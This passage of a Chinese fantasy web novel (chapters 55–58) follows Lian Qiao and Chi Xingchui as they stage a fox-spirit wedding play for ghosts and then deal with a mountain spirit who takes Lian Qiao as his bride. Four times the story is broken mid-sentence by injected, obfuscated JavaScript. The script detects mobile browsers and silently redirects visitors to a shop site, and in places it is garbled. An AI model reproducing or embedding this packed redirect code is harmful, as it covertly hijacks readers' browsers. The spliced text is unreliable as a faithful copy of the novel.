“她是我的丫鬟,需要帮我上妆。”迟星垂坐在铜镜前,对着一堆积了一层厚灰的梳妆台,语气淡淡。 连乔转了转眼珠,立刻点头,“对,我是大小姐家的丫鬟。” 林锦绣也强忍着害怕,指着白祺,“她也不能杀,她是我的书童。” 白影又挠了挠头,“书……童?” “对。”林锦绣道,“李生喜欢读书,梅娘为他的才华所倾倒,当然是有一个书童的。” 白影像是明白了,指着白祺,“好的,那你是书童。” “丫鬟和书童 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13414934|132129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……你们也去准备吧,好戏马上要开始了。” 梳妆台上摆着几盒胭脂和口脂,也有眉黛,东西已经很旧了,但是没有用过,也算齐全。 连乔站到迟星垂旁边,“新娘子,我先来给你化妆。” 迟星垂:“师妹,你的嘴今天格外地话多,丫鬟的话不能太多,否则容易被杀。” “别得寸进尺。”连乔对着迟星垂的背就是一拳,“谁是你丫鬟,我是你小姐。” “那你来做新娘?” “小姐,你今天真漂亮。” 迟星垂:“呵。” 这一边连乔手忙脚乱地找新娘子化妆用的笔和颜料,迟星垂望着连乔来回的手法,“你……你确定这样可以?” “请你相信我的能力。”连乔比了个大拇指的手势,示意自己很棒,让迟星垂放宽心。 这里的物品格外旧,胭脂水粉都干涸了,还缺一大片,连乔也不敢碰,全用了自己的。 连乔很爱美,各类脂粉都装备齐全,露不霜给原主还留了几间脂粉铺,现在修真界的实兴妆容,她都清楚。 迟星垂这张脸真是老天爷赏饭吃。 他的五官很立体,脸部轮廓很流畅,不说话的时候显得格外锋芒,画上戏妆,涂上厚厚的胭脂后,锐气都被中和,锋芒被遮挡去,精致的五官格外突出。 妆容画好,连乔低下身,帮迟星垂改眉。 他的眉很英气,连乔抹淡了,又微微往上挑,只做一个改动,就显得人温柔许多。 便从一个英气男子,变成偏中性男子。 所有工作做完,到了最后一步,给迟星垂涂口脂。 连乔蹲下来,抬头去看迟星垂,迟星垂也在看她。 连乔动作不停,“你看着我做什么?” “你在子午谷,学的这些吗?” 连乔的手微不可见地停顿一下,又挑出一张胭脂花片。这张胭脂花片颜色非常鲜艳,和新娘子的妆容十分搭配。 迟星垂修长的手指挑起花片,并没有用,“你很熟练。” “我是一个美女子,美女子配美妆容,不应该吗?” 虽然这话很自恋,但是从连乔嘴里出来,迟星垂居然觉得很对。 连乔从他手里拿过花片,往他薄薄的嘴唇上一盖,又稍微改一点唇妆,一个极为美丽的脸便跃然眼前。 “大功告成。”连乔拍拍手上残留的脂粉,“师姐你……也太漂亮了。” 这下,那白影肯定也说迟星垂像新娘子了。 那边,林锦绣也收拾好了,她扮演的是新郎官,倒没有需要特别的装扮。 她将长发全束起来,又盘好,藏在发箍里。 林锦绣长相偏秀气,这样装扮有些违和,她一直强撑着不让自己露出胆怯。 那端云招摇和迟来风已经准备好,两个人被引到戏台上一左一右的椅子上坐好,充当李生父母。 连乔扶着迟星垂候场,“白影说的《梅娘成亲》,到底是个什么样的故事?” 站在二人身后的林锦绣非常奇怪,“你不知道?” 55.第 55 章 “《梅娘成亲》 取自《狐妖转》,这是墨江一带的传说。”林锦绣问:“你不是经常出入人间么,怎么会不知道?” 连乔回答道,“我去人间,一般是办些比较重要的事,不太去戏楼茶楼听曲。” 是办一些见不得人的事吧?林锦绣努努嘴,但是没说什么。 迟星垂给她科普,《狐妖传》又称《狐妖梅娘传》,是墨江这一带家喻户晓的故事。 传说在很久以前,在桐花岭,有一个李姓小生,大家都叫他李生。李姓书生从小父母双亡,但他聪明善良,靠在当地富商王大福家做短工养活自己。 王大福祖上一直做生意,勤勤恳恳,到王大福这一带,生意没做,挥霍不少。不过可能是祖上财富积累得多,王大福整日挥霍大度,日子没有紧巴,反倒越过越滋润。 李生除了在王大福家做事,空闲的时候也会做别的闲工。他勤劳能干,虽然日子过得清贫,但是也自在。 一日,李生去山上捡柴,刚上山没多久,就碰到在林间鬼鬼祟祟东张西望的王大福。 王大福一直走到山里一个破败的老庙,他对着庙三拜九叩,诡异的事发生了,庙里的灰土像化成一个妙龄女子,站在王大福面前。 王大福对着妙龄女子许了许多愿,女子一一应下,王大福满意了,最后眼神又在女子身上扫了一圈,目光猥琐而油腻。 王大福抓住女子,不老实的手在她身上乱摸,女子十分抗拒,但又挣脱不了,王大福对着她说了几句什么,那女子脸色惨白,连挣扎的力气都没了。 李生躲在远处,越看越气愤,但是他又怕王大福报复,正巧手边有石头,捡起石头砸到土庙里。 “砰”的一声,王大福吓了一跳,手也不自觉松了,那女子得以逃脱,身形一闪,就不见了。 李生揉了揉眼睛,还以为自己眼花,再三环顾四周,发现真的没人,顿时毛骨悚然,也不敢再在这里久待,背起拾取的柴火,慌忙逃走了。 晚上李生道王大福家做工,今晚王大福莫名其妙的,不知道为什么生了很大的闷气,打罚了一堆下人后,又把养在后院里的那只狐狸宠物狠狠打了一顿。 那只狐狸皮毛雪白,伶俐可爱,也特别亲人,平日里王大福好吃好喝供着,不知道他今日为何做出这种事。 那白狐狸被王大福打得嗷嗷直叫,口吐鲜血,不多久就两眼一闭,死了。 王大福将小狐狸的尸体丢给李生,让他将狐狸剥皮烤了,完了才啐一口,“养不熟的玩意儿!” 李生做工的时候见过这狐狸两次,这狐狸聪明乖巧,又十分亲人,李生给它喂过几次野果子,那狐狸每次吃完都咧起嘴,竖着耳朵绕着他打转。 李生不忍心将狐狸扒皮抽筋,他将狐狸带回去,次日在后山找了块宽敞的地方,将狐狸埋了。 不久后夜里,李生准备休息,听到外面有敲门声。 开门一看,外面是一个年轻的姑娘,她自称梅娘,来墨江这一带寻亲。但她没有找到亲人,又突遇大雨,慌乱之下才敲门,请求李生收留一晚。 李生看姑娘浑身都湿透了,又怕她一个姑娘家,晚上遇到意外,就好心收留了她。 之后李生一边做短工,一边帮梅娘找亲人,但是多次苦寻无果,李生和梅娘之间倒是生出了情意。 李生和梅娘结为夫妻,梅娘心灵手巧,会纺布,又会编织,平日也会帮助李生做一些营生的活计。 自从娶了梅娘后,李生的日子越过越红火,很快辞去了王大福家的工,自己在镇上开了一家卖布店,发达后李生也不忘初心,经常做善事,接还会济当地和他一样的穷苦孩子。 而反观王大福家,却一日一日地破败下去,王大福还欠了一屁股赌债,为了还债,甚至开始变卖家产,祖上的积蓄也霍霍完了。 李生的生活越过越好,很快买了一间店面,不久后又置办了家宅,比王大福家过得还滋润。 日子就这样不紧不慢地过着。有一日,王大福和一个道士忽然来到李生的店铺里。道士转了一圈,告诉李生,他的娘子是吃人的狐妖,专门祸害当地的孩童和妇人。 道士给了李生一面镜子,这面镜子名叫大道鉴宝,是一面照妖镜,道士告诉他,在月圆之夜,任何妖物经镜子一照,都会现出原形。 李生虽不信,但近日当地一直有孩童和妇人失踪,心中还是泛起了嘀咕。正值八月十五,李生便用镜子对着妻子一照,果然,温婉的妻子在镜中变成一只白毛狐狸,竟与他当年埋下的那只狐狸一模一样。 梅娘被李生惊动,外面的道士和王大福等候多时,当即就闯入家中对付起梅娘,梅娘慌乱之下逃离家中。 而李生也因为惊吓,一病不起。 道士告诉他,梅娘是狐妖,专门吸人阳气,这几年来桐花岭一带出现的小孩、妇人失踪,都是那梅娘为练妖功所为。道士给李生家中布阵,说是这阵法能吸收日月灵气,也能阻挡妖邪,不让妖邪靠近。 李生一开始不同意,毕竟他与梅娘夫妻一场,还是想找妻子问个清楚。 这时王大福出场了,王大福却告诉李生,这一切都是真的,自己就是因为得罪了狐妖,家中被糟蹋得不成样子。 二人唱双簧,李生在忽悠下,最终同意布上阵法。 结果那并不是什么防御妖邪的阵法,是极其恶毒的杀生阵,任何生灵,一旦入阵法,一定会被阵法倒吸生命,最后变成一具干瘪的尸体。 梅娘回家找李生,误入了阵法,当即被束缚住,她惨叫了一整夜,李生心痛无奈,求道士放梅娘一马。 道士却十分悠然自得,望着被困住的狐妖,摸着胡子,始终不动手。 梅娘倒在阵法里,“好你个李生,竟然骗我到这等狠毒的法阵中来,我从不曾害人,还一直帮你救人,你居然听信妖道和王大福的怂恿,要如此害我。” “那妖道觊觎我的妖丹,王大福想让我继续为他所用,现在我修成正身,他们没办法左右我,所以才联合起来害我,你居然…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13430135|132129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你居然……听信谗言!” “李生,你的恩情我已经报答了,今日以后,你与我之间两清!”梅娘说完身形一闪,强行要脱阵,妖道大叫一声,“不好,她要死遁!” 梅娘直接朝阵法撞去,顿时火花四冒,将夜晚照成天明。妖道和王大福都被火灼伤,疼得在地上挣扎打滚。 地上还有三只狐狸的尸体,那是梅娘的断尾。梅娘是一只九尾狐,一尾代表一条命,现在她齐齐断了三尾,才挣脱杀生阵。 李生受此惊吓,一病不起,就这样病了半个月,一日夜晚,梅娘又出现了。 梅娘看李生心慈仁厚,特来赐他丹药,救他一命,并且告诉了他事情真相。 她本是这桐花岭的狐仙,王大福在后山打猎时,抓住梅娘的一个真身,王大福一直用真身来威胁梅娘,让狐仙保自己一世富贵。 梅娘为了保自己一条命,所以一直忍受王大福的骚扰,直到后来王大福居然对她起了歹念,想霸占她,幸亏李生相救,才让她逃离魔爪。 没想到王大福丧心病狂,竟因此迁怒于分.身,将小狐狸毒打致死。 李生善良,还将小狐狸埋好入土,梅娘感激他仁善之心,所以才化身成人,报答他一世之恩。 那妖道是歹人,一直修炼邪功,抓幼儿和妇人练功,利用孱弱之辈的怨气来增强自己的功法。他还觊觎梅娘的妖丹,知道斗不过梅娘,所以用李生为饵,逼她现出原形,还将她引入阵法之中。 梅娘心性善良,知道妖道歹毒,自己的内丹落到他手上,他一定会作恶多端,到时候桐花岭这一带百姓苦不堪言,所以梅娘拼了性命,断了三条狐尾,让自己内丹破损,也不愿意妖道祸害百姓。 李生得知真相后,悔不当初。 他后悔自己听信奸人谗言,又心疼自己妻子死在妖人手中。 李生将梅娘的三个分、身埋好,重新垒了土庙,日日给狐仙供奉,又散尽家财,云游四海,寻找能制衡妖道的办法。 桐花岭这一带至今还有狐仙庙,拜的就是这位梅娘狐仙。 * 迟星垂将万机递给连乔,现在万机不能用,但是里面存储了《人间记事》,《记事》中记录了这个故事。 《梅娘成亲》取自《狐仙传》中间一段,讲的便是狐仙化成寻亲女子梅娘,和恩人李生拜堂成亲。 连乔将故事翻了一遍,“不对啊,故事里的李生不是孤儿吗?” 那怎么云招摇和迟来风要扮演他爹娘? “那白影神志不清,对人间的故事也是迷迷糊糊的。”迟星垂道,“这样也好,他们在这里演戏,白影暂时不会对他们下手。” 行吧…… 连乔上辈子是个演员,临场反应能力快,入戏也很快,她扶着迟星垂上台,看到那一群盯着自己的眼睛,连乔又退回台下。 “师姐,接下来靠你自己了。”连乔想起了什么,“不对啊师姐,你会唱戏吗?” 迟星垂诚实回道,“嗯,我不会。” 56.第 56 章 连乔道:“没关系,我会,你上去做动作,唱的部分我来。” 白祺斜眼看她,“看你这不务正业的样子,就知道你……” 白祺还要再说,看到迟星垂在看着她,话到嘴边又缩了回去。 迟星垂问:“你确定你会?” “嗯呐。”连乔道,“我在……在子午谷,学过一点,这个戏不长,也简单,当地小调,过一遍就会了。” “你呢?”连乔问林锦绣。 “我是墨江人。”林锦绣道,“我也会唱一点。” 迟星垂先上台,云步轻飘,绕着戏台转一圈。 连乔敲锣打鼓,并充当画外音角色,“新娘子来了~” 台上被白祺整理好,挂上大红的灯笼,堂前点着蜡烛,云招摇和迟来风也穿着红衣,直挺挺坐在台前,充当背景墙。 连乔默默捂上眼。 不行,太诡异了。 “哦……新娘子来了,新娘子来咯~~~”底下人也热闹起来,开始等候戏曲开始。 迟星垂挑了挑水袖,望着门外。连乔唱,“屋外门前一树梅,树上鸟儿成一对……今日,便是我和李郎的大好日子~~~” 新郎上场,扶住新娘,两个人在台上转一圈。 新娘子貌美,新郎俊朗,底下一阵喝彩。 不知不觉,又有一堆游魂从外面飘进来。 林锦绣往台下扫一圈,忽然一愣,“师、师兄……” “嗯。”迟星垂也注意到了后来的人,里面还有两个熟面孔,是乾元剑宗的师弟。 游魂都是因为心中有挂念放不下,□□已逝,魂魄尚在人间。两位师弟都只剩了魂魄,难道人已经走了? 林锦绣的声音不自觉加了颤音,“师兄,他、他们……” “不要分心,继续。” 林锦绣深呼吸一口气,新郎又拉着新娘,二人抬头看花,又低头看水。 连乔开口,“门前花儿生得美,鸳鸯一双又一对~~~” “李郎与我拜堂来,又是欢喜又是悲……” 林锦绣强压恐惧,“梅娘,如何来悲?” “李郎,且听我说……” 连乔有一副好嗓子,唱起戏来悠扬婉转,底下时不时传来一阵喝彩。 那师弟也满目痴呆,跟着众人鼓掌。 林锦绣压低了声音,“师兄,他们不太对。” 游魂是人死后而化,和本人生前的模样和习惯是一样的,但这两个师弟都满目空洞,看上去像是痴傻了。 一个人这样,还可以说成是意外,两个人都这样,一看就是有很大的问题。 迟星垂换了另一个动作,示意连乔继续唱。 “今日你我结良缘,夫妻恩爱苦也甜~~~” “师兄,这次去桐花岭的一共是四个人,两个师弟在这里,还有灵玉师姐和另一个师妹,我没看到他们……” “你我今日结良缘,夫妻恩爱苦也甜~~~” 迟星垂拉着林锦绣对着大堂,林锦绣唱,“梅娘……今日,你就是我的娘子了~~~” 新娘子羞恼一笑,底下的连乔唱,“啊呦,哪个是你娘子呦~~~” “就是我呀,娘子,娘子,娘子哎~” 连乔一边唱戏一边敲锣打鼓,“夫君~” 迟星垂等连乔唱完,“陈灵玉和师妹不在。” 林锦绣愣了,“不在这里,确定吗?” “是的,如果不在这里,很有可能就是她们俩没事。” “那她们又会在哪里呢?” 连乔又充当画外音,“新郎和新娘子拜堂,一拜天地,拜天地来拜天地~” “二拜高堂~~~”高堂二人一动不动,但是也发现了游魂里面的异常。 “夫妻对拜,拜完夫妻,送入洞房~~~” “好!!!”底下大声喝彩,所有人一起鼓掌。 迟星垂和林锦绣将戏唱完了,底下人意犹未尽,还想再来一场。 白影不知什么时候又飘出来,“走吧走吧,今日的结束了,明日再来吧……” 那些游魂像是得到了安慰,一个跟着一个沿着楼梯下去,很快都消失不见。 安抚好游魂,白影心情也很好,“今日的戏唱得真好,但是天色已晚,我就不留你们了,你们走吧。” 大门敞开,茶楼的结界“哗啦”一声散去,外面是崇山峻岭,这里又恢复冷清,极其破败。 迟星垂和林锦绣对视一眼,方才游魂飘回乱葬岗,他们要去乱葬岗一趟,两位师弟到底发生了什么。 白影打开了结界,但是没有离开,他绕着破楼飞,最后停在连乔面前。 它仔细看着连乔。 连乔往后退了一步,“怎么了?” “他们可以走,但是你得留下。” 连乔:“?” “我很喜欢你,我想让你当我的新娘。” 连乔:“?” 原书里面不是有山精抓云招摇当新娘,怎么现在变成她了? “不行。”连乔道,“第一次见面你就说喜欢我,多见外啊。” “没关系,感情可以好好培养。”那白影停在连乔面前,“先成亲,后恩爱的夫妻也有很多,我觉得我们也可以。” “我不可以。”连乔道,“你别选我,你刚刚还说我脸上有疤,我长得丑。” “你的疤……”白影望着她,“你的疤我会医治,跟了我,你很快会重新变漂亮的。” 连乔摆手,“不用了,我自己也有办法恢复的。” 白影摇头,“不行。” “我也不行。”连乔道,“你为什么要挑我呢,你别挑我啊,你挑我师……姐,你看我师姐……我师姐最漂亮。” “你师姐是男人。”白影喃喃道,“男人怎么能当新娘呢? 连乔:“……” “你以为我不知道嘛,我当然都是知道的。”白影道,“你害怕上台,所以让你师姐帮你,我还知道是你一直在唱戏,你的嗓子真好听。” 连乔摇头,“你别过来,你信不信你强娶我,我立刻拔剑自刎?” 白影停住脚步,定定地望着她。 在白影探究的目光中,连乔道,“我是不可能嫁给一个刚见面的人,我也不相信所谓的一见钟情,一见钟情都是见色起意,我知道你对我也只是见色起意。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13439520|132129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >她摊一下手,“如果你真的喜欢我,我希望你能尊重我。” 白影绕着连乔打转,最后似懂非懂,停在她面前。 原本模糊的身影忽然清明起来,化成一个白皙少年,少年目光清澈,说话温柔,笑起来有一个浅浅的梨涡。 这是……原书中的山精吗? 这是吃月光长大的吗,简直就像是白月光一样的人。 白影不飘了,站定在连乔面前,“那如果我请你留下来,我们俩朝夕相处,让你多了解我一点,等了解了,再做我的新娘,可以吗?” 连乔毫不犹豫,“可以。” 迟星垂:“?” 他都要拔剑准备强制带人走了,她说这个? 林锦绣也愣了,“你、你不害怕吗?” 连乔:“我怕。” “那你还……” 连乔:“但是牡丹花下死,做鬼也风流。” 迟星垂手里的剑现在不想指别人,很想指着连乔。 连乔忽然羞涩一笑,问白影,“那你想要怎么了解我啊?” “我方才去探你的识海,已经了解得差不多了,你和梅娘一样,身上有狐族血统,很适合留在这桐花岭。”随后又道,“但是你的记忆中,又好像有另外一个人,还有很多很奇怪我没见过的东西,太有意思了。” “我最喜欢你这种有意思的人了,有你在,我一定不会无聊。” 连乔一顿,“你这样随意看别人的东西很不礼貌,下次不可以了。” “那好吧,我叫山影。”白影道,“我生长在这山里,没有出去过,有很多很多年了。” 连乔转了一下眼珠,“你想出去?” “我暂时不想。”那白影的笑容忽然收住,脸色很难看,“你们谁也别想对我做什么。” “我无聊的时候听外面的戏,看外面的故事,就够了,我不会出去!” 这人怎么说变脸就变脸,连乔道:“好好好,我不对你做什么,让你出去,你别生气。” “那你要不要对我做点什么?”等白影气消了,连乔问:“你要和我成亲吗?” 山影一愣,“……可是你不是说不了解我吗?” “我现在了解了。”连乔道,“你叫山影,在这山里长大,长得很好看,笑起来很乖很甜,对吗?” “我叫连乔,有狐族血脉,长得好看,会演戏,会唱戏,你也认识我了,对吗?” 山影:“……嗯。” “既然我们相互了解了,那我们成亲吧!” “啊……” 山影先是惊讶,继而非常高兴,眸光中闪过一丝庆幸,但是很快又陷入黯淡。漆黑的瞳孔中充斥着说不上来的异常。 这小子在山里待久了,虽然厉害,但是心思不深,藏不住事儿,有什么想法从脸上一眼就能看出来。 连乔不动声色朝迟星垂使了个眼色,迟星垂点头。 迟星垂示意云招摇和迟来风去乱葬岗找那两个师弟的魂魄,自己则悄悄跟在连乔后面。 云招摇终于缓过劲儿来,此时她手上的罗盘忽然恢复正常一般,在剧烈转动两圈后,停在朱雀的位置。 魔气? 57.第 57 章 外面又挂起了灯笼,大红色,透着喜庆又诡异的光泽。 连乔脸上的伤更加严重了,他们没办法出去找特制药,默非还要三天才能到,这几天只能靠着迟星垂的清毒药丹暂时缓解。 连乔上完药,望着那大红色的喜服,长长叹了一口气。 喜服红绿相间,有拖尾,裙角和拖尾上都绣着密密麻麻的纹路,坠在身后,笨重又妖异。 虽然百般不情愿,连乔还是换上了新衣服。 她身段窈窕,眉目秀美,穿上这诡异的新服后,更美艳了,戴上面纱后,完全是是一个刚出画的艳妖。 原书中,山精看中了云招摇,逼迫云招摇和他成亲,但云招摇宁死不从,最后被迟来风救下,迟来风还为她挡下一剑。 现在她跟过来,山精没选云招摇,挑中了她。 山影为什么突然要挑新娘? 单纯因为她漂亮?当然不是,现在她没有用药,还处于半毁容状态,山影是觉得她有趣,所以喜欢她? 更诡异的是,在山影提出结亲之前,周围的气息变化极快,一股香薰味混着腥味漫开,怪异又难闻。 这味道和她刚来在山神庙闻到的味道一样,但是比那时的味道重一些。 味道像是从山影身上传来的。 这是什么味道? 他是山精,为什么会有这种味道? 连乔没有罗盘,不知道这是没处理好的魔气,但是她嗅觉灵敏,所以在察觉到问题的那一瞬间,找了理由留下来。 方才迟星垂和林锦绣说的话,她听到了一点点。 乾元剑宗的师兄弟遇难了? 他们遇难,是因为山精? 还是跟刚来山神庙遇到的镜魔有关? 连乔将脸包扎好,盖上盖头,安静坐在床上等山影出现。 迟星垂站在她旁边,“要不还是我来吧?” 连乔:“不要。” 迟星垂:“呵呵。” “你是因为那山精长得好看?” 连乔转过头,十分惊讶,“师兄,你怎么能这样想我?” “我是因为调虎离山牵制住山影,才让你们有时间去找乾元剑宗的师姐师兄啊。”连乔将盖头掀开,“迟师兄,我这样大义凛然,不顾自己安危,你怎么能那样想我呢?” “师兄,你说这样的话,真让我难过!” “我……”迟星垂正要解释,看到连乔探出头,一脸期待望着外面的模样,方才的歉意又烟消云散。 他伸出手,骨节分明的手在连乔眼前遮了一下。 “师妹啊。”迟星垂笑起来非常善良,“凡是皮相,皆是虚妄,你不要为美好的皮相遮蔽了双目。” 连乔:“什么意思?” “没什么意思,来,拿好。”迟星垂取出一颗药丸,让连乔服下。 “这是什么?” “万药散,能够解人间千种毒,你先服下,以防万一。” 连乔将药吞下去,外面传来动静,连乔立刻坐正了,“来了来了,师兄你快躲起来,别让他发现你了。” 门“吱呀”一声被推开,门外站着穿着新郎服的山影,他面容温和,但是灯光稀疏,不是传来冷风呜咽,衬得他也诡异森然。 “连乔?” 连乔隔着盖头看他,“嗯,你来了?快进来吧。” 山影进门,他关上门,连乔又闻到一股若有若无的腥味混合着香灰味。 山影坐到连乔旁边,伸手将她盖头掀开,直直地望着她。 “连乔,我会对你好的。” 连乔:“……额,好的。” 山影又盯着她。 连乔觉得气氛尴尬,她开口道,“要不你别一直这样盯着我。” “那我该做什么?” 连乔转了转眼珠子,“我们做点别的事?” 山影点头,“不如,我们洞房吧?” 连乔:“啊?” 她摇头,看着凑过来的山影,身体向后倾,“不合适吧?” “怎么不合适?”山影道,“你同意和我成亲了,现在你是我的新娘子,既然是新娘子,当然应该洞房花烛。” 连乔瞳孔地震,“你不是说你你在这桐花岭里面没出去过吗,你没出去过你知道这么多?” “我经常听戏啊。”山影道,“我不仅知道洞房花烛夜,还知道金榜题名时。” 连乔竖起大拇指,“厉害。” “是的。”山影坐到连乔旁边,替她掀起盖头,“那我们现在开始吧。” 在他凑过来的那一瞬,连乔猛地站起来,“停!” 山影眯眼看她,周围凝重得恐怖,甚至能听到阴风怒号。 迟星垂刚要拔剑,连乔朝他摇手。 “不是啊。”连乔不动声色地将床帘摆好,迟星垂的个子太高了,趴在床底很吃力,衣角也露出来一截。 连乔将衣角踢进去,山影问,“你在干什么?” “没干什么,我有点紧张……”连乔拉了拉裙角,坐到另一边。 山影望着她,“我觉得你没准备好。” “是啊。” “那我先去外面待会儿,等你准备好,我再进来。” “哎等一下。” 云招摇没有回应,连乔不知道那边怎么样了,她尽量拖延时间,“我都答应你了,又怎么会没准备好呢,我当然是准备好了。” “那你……” “你不要心急嘛……”连乔低头微笑,看上去更像是害羞,“如此花好月圆夜,当然是要把握好时光,才不负这大好时光,来,我们喝杯酒。” 连乔给他倒了一杯,迟星垂在下面伸手,比了个“三”的手势。 三杯? 山影喝了一杯,连乔立刻续上,“一杯甜甜蜜蜜,两杯天长地久,来……” “不了,我头有点晕……” “晕就对了,好酒才会晕。”连乔连倒了几杯,“来来来,再喝几杯。” 山影又被连乔灌了两杯,喝得头晕脑胀,走路都踉跄,但是还没有倒。 连乔往床底下瞥,怎么回事? 不是说三杯倒么,怎么还不倒? 山影喝多了,打了个饱嗝,“不行,我喝多了,我很不舒服。” “喝酒怎么会不舒服呢,不舒服是因为你没喝够。来,再来一杯,这杯我敬你,你喝醉了,就什么烦恼也没有了。” 山影瞳孔漆黑,倒映出连乔的身影,“不喝。” 他探身过去,“还是先洞房吧,我现在很不舒服。” “这么急做什么,刚入夜,大把的好时光呢……”连乔给自己也倒一杯酒,“来,我们一起喝,喝完交杯酒,我才算是新娘子。” 不知道是不是酒喝多了,山影的脸色雪白,嘴唇也泛出纸一样的青白色。 他难受地闭上了眼,又睁开眼,脸色比方才还要难看。 “不喝了,直接来吧!” 连乔:“啊?” 少年脸色很差,看上去确实不舒服,但说话温温柔柔,“我知道这样不好,但是我没有别的办法了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13478324|132129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “不管你以前怎么样,这次以后我会好好对你,你且忍一忍。”山影往她身边又靠近一点,“我会很快的。” ? 这什么虎狼之词? 在山影伸手过来之前,连乔往起一跳,“别、别这么直接吧?” 山影抬头,原本清澈的瞳孔越来越黑,“你很抗拒我?” “不,不,你这……”连乔扶着额头苦笑,“你别误会,我这是第一次成亲,有点紧张。” “嗯……其实我也是。”山影垂下头,“也许以后会有很多次,不过你别担心,每次结束之后,我会好好补偿你的。” 连乔捂住了脸。 天呐,他顶着那么清纯阳光的一张脸,怎么说出这样热情奔放的词。 山影看着连乔,连乔也看着他。 说实话,这小山精长得是真好看,眉清目秀,温柔腼腆,说起话来又甜又乖,看着就很想让人欺负一顿。 他这么主动……如果实在情况紧急,自己牺牲一点,也不是不可以。 少年看着她,目光氤氲着水汽,整个人也像水一样,黏糊成一团。 “我不舒服……”他拉着她的衣角,“我也不想这样,但是……我、我实在忍不住了。” 少年的手也很白,白得像纸,但很烫,碰到连乔的时候,不自在地往后退。 多纯情的小帅哥啊,如果不是在这种情况下,连乔很愿意把他带回子午谷。 她反拉住少年的手,他的手温度过高,双眼也微微泛红。 这……连乔伸手贴上他额头,他的脸温度也很高,高得不自然。 少年抬眸,夏水一般的眼睛静静望着她。 在这样看我,我真忍不住了。 连乔双手捧住他的脸,轻轻俯身…… 少年的睫毛长长的,快要和迟星垂的一样长。 等等,迟星垂…… 连乔忽然想起这里还有一个迟星垂…… 哎呀,那可真尴尬。 连乔眨眨眼,没事,迟星垂在床底,看不到她,她现在做点什么,迟星垂也不知道。 她捧着少年的脸,低头想要亲一口。 不知道怎么的,周围的灯忽然闪了一下。 发生了什么? 什么也没发生。 连乔定了定神,转过脸来,还要继续。 这什么? 捧在手里的不是月光一样的少年,是一只硕大的狗熊头。 连乔惊慌失措,这不是少年化形,这是……障目术? 刚才迟星垂遮她眼睛,她还不知道怎么了,好家伙,原来在这里等着呢! 连乔恼火地瞪了一眼床底,迟星垂像是知道她发脾气,抓住她脚踝,恶狠狠捏一把。 连乔挣开迟星垂的手,屏住心神,默念心术,将迟星垂下在她身上的障目术解除。 消除障目术后,连乔呼了一口气,再定睛,少年又恢复了模样。 毕竟连乔是演技派,只要她愿意,目光看狗都深情。她朝少年浅浅一笑,“那继续吧。” 迟星垂又抓住了她的脚,连乔再眨眼,少年的脸,又变成了一个挖鼻子的粗犷大汉。 连乔:“……”还有完没完了? 迟星垂看到连乔的腿在微微颤抖,她在强行破他的术法。 她的障目术是他教的,想压他一头太难了。 迟星垂略施小计,新一轮的障目术,连乔无论如何也破不了了。 连乔望着对面挖鼻孔的粗犷大汉猛地拍了一下额头。 58.第 58 章 迟星垂自己高冷禁欲就算了,为什么要折磨她? 她这是在为历练任务献身,已经很痛苦很为难了,他居然还过来添乱? 看着俯过身来的彪形大汉,连乔立刻喝止住他,“等等?” “又怎么了?” “还……有点事没做。” “有什么事没做?” 那人边挖鼻孔边往连乔身边凑,“刚刚不是说开始吗,为什么忽然又不可以了……” 连乔简直想直接掀开床板,把迟星垂拉出来,让他自己好好看看自己的杰作! “我刚刚又想到……我,我的脸还伤着呢。” 连乔绞尽脑汁找借口,“你、你知道的,女为悦己者容,今天是我大好日子,我、我也不想让你看到我这副模样……” 刚刚山影和她说过,他能帮她解决这个魔气毁容这个问题。 “既然你说要好好对我……”连乔对他眨一只眼,看得山影雪白的脸“唰”一下红了点。 “既然你说要好好对我,那能不能先帮我把脸治一下?” 连乔用手勾住了他的衣领,凑近了,气息吐在他脸上,“我想让你看到我最漂亮的样子,可以嘛?” 山影瞳孔骤缩,受惊小鹿一样往后退一大步,他又看着连乔勾在他手上的手,有点害羞,“……那、那好吧。” 连乔将面纱取下来,她刚刚涂了药,但伤口仍然很严重,几乎快要看到骨头。 山影抿了抿嘴唇,连乔看到挖鼻孔的大汉凑过来,对着她的脸吹了口气。 